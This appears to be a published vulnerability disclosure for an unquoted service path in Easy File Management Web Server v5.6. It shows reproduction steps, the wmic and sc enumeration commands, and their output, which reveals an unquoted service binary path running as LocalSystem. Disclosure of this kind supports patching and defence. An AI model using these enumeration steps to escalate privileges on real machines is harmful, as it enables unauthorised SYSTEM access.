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Exploit Title: Easy File Management Web Server v5.6 - 'Easy File Management Web Service' Unquoted Service Path  
Exploit Author: boku  
Date: 02/10/2020  
Vendor Homepage: http://www.sharing-file.com/  
Software Link: http://www.web-file-management.com/efmsetup.exe  
Version: 5.6  
Tested On: Windows 10 (32-bit)  
# Recreate:  
# 1) Download & install Easy File Management Web Server v5.6  
# 2) Open EFM Web Server and click the 'Service...' Button on the bottom right  
# 3) Click the 'Install Service' Button  
  
C:\Users\nightelf>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """  
Easy File Management Web Service C:\EFS Software\Easy File Management Web Server\fmwsService.exe Auto  
  
C:\Users\nightelf>sc qc "Easy File Management Web Service"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: Easy File Management Web Service  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\EFS Software\Easy File Management Web Server\fmwsService.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Easy File Management Web Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem